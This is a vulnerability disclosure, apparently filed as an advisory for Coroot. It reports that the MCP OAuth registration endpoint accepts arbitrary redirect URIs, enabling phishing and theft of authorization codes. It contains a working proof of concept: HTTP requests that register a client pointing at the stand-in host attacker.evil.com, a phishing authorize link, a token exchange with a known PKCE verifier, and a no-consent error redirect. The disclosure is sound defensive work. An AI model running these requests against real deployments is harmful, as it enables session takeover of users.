#929·coroot

Open Redirect via Unvalidated OAuth Redirect URI in MCP OAuth Flow

Author: geo-chenCreated Jul 1, 2026Updated Aug 25, 2026

reported on 25 May 2026 via webform but didnt get a response: https://coroot.com/contact

Summary

The MCP OAuth dynamic client registration endpoint (POST /oauth/register) accepts arbitrary redirect URIs without any scheme or domain validation. Combined with the authorization endpoint (GET /POST /oauth/authorize), this allows an unauthenticated attacker to perform a phishing attack: craft a malicious authorization URL that, when visited by an authenticated user, redirects the user's browser to an attacker-controlled domain along with a valid OAuth authorization code.

Details

Coroot implements OAuth 2.0 for its Model Context Protocol (MCP) server. The registration endpoint at /oauth/register requires no authentication and accepts redirect_uris from any caller. The only validation performed is url.Parse() (line 189 of api/mcp_oauth.go), which accepts any syntactically valid URL including http://attacker.example.com/steal.

go
// api/mcp_oauth.go:188-193
for _, ru := range req.RedirectURIs {
    if _, err := url.Parse(ru); err != nil {
        mcpOAuthError(w, http.StatusBadRequest, oauthErrInvalidRedirectURI, "invalid redirect_uri")
        return
    }
}

The registered redirect URIs are embedded in a HMAC-signed JWT that serves as the client_id. When an authenticated user visits an authorization URL (/oauth/authorize) and approves the consent form, the server performs the redirect to the registered URI. There is no allowlist, domain restriction, or warning that the redirect destination is external or untrusted.

Two code paths lead to unvalidated redirects:

  1. mcpAuthorizeIssueCode at line 321: issues redirect with the authorization code on approval.
  2. mcpRedirectErr at line 501: issues an error redirect (e.g., for unsupported response types) before the user has a chance to review anything.

The second path (mcpRedirectErr) is reachable without user interaction beyond clicking the initial link, because an invalid response_type triggers a redirect with an error code but no login/consent prompt.

There is no PKCE code interception protection because the attacker generates both the code_verifier and code_challenge themselves; they already know the verifier and can exchange the stolen code for an access token.

PoC

Step 1: Register a malicious client (no authentication required).

POST /oauth/register HTTP/1.1
Host: coroot.example.com
Content-Type: application/json

{
  "client_name": "Legitimate MCP Client",
  "redirect_uris": ["http://attacker.evil.com/steal"],
  "grant_types": ["authorization_code"],
  "response_types": ["code"],
  "token_endpoint_auth_method": "none"
}

Response includes client_id (a signed JWT embedding the malicious redirect URI).

Step 2: Generate PKCE values.

code_verifier = dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
code_challenge = E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM  (S256 of verifier)

Step 3: Send phishing link to authenticated victim. The victim clicks the link, logs in if not already, and sees a consent screen identifying the attacker client as "Legitimate MCP Client".

http://coroot.example.com/oauth/authorize?
  client_id=<CLIENT_ID>&
  redirect_uri=http://attacker.evil.com/steal&
  response_type=code&
  code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&
  code_challenge_method=S256&
  state=random

Step 4: After the victim approves the consent page, the server responds with:

HTTP/1.1 302 Found
Location: http://attacker.evil.com/steal?code=<AUTH_CODE>&state=random

Step 5: Attacker (who controls attacker.evil.com) receives the authorization code and exchanges it for an access token, impersonating the victim.

POST /oauth/token HTTP/1.1
Host: coroot.example.com
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=<AUTH_CODE>&
client_id=<CLIENT_ID>&
redirect_uri=http://attacker.evil.com/steal&
code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk

Alternative (no consent required): trigger the mcpRedirectErr path with an invalid response_type. The server immediately redirects without a login or consent step:

GET /oauth/authorize?client_id=<CLIENT_ID>&redirect_uri=http://attacker.evil.com/steal&response_type=INVALID&code_challenge=...&code_challenge_method=S256&state=random HTTP/1.1
Host: coroot.example.com

Response: 302 Found
Location: http://attacker.evil.com/steal?error=unsupported_response_type&state=random

Impact

An unauthenticated attacker can register an arbitrary redirect URI, craft a convincing authorization link, and use it to:

  1. Redirect an authenticated user to an attacker-controlled domain, leaking the user's OAuth authorization code. The attacker can then exchange this code (using the known PKCE verifier) for a valid MCP access token, gaining full access to the victim's MCP session.

  2. Use the error redirect path for open redirect phishing without requiring the victim to interact with a consent screen.

This affects any deployment of Coroot that exposes its HTTP interface, regardless of whether the auth-anonymous-role flag is used or whether a bootstrap admin password is set. The /oauth/register endpoint is always unauthenticated.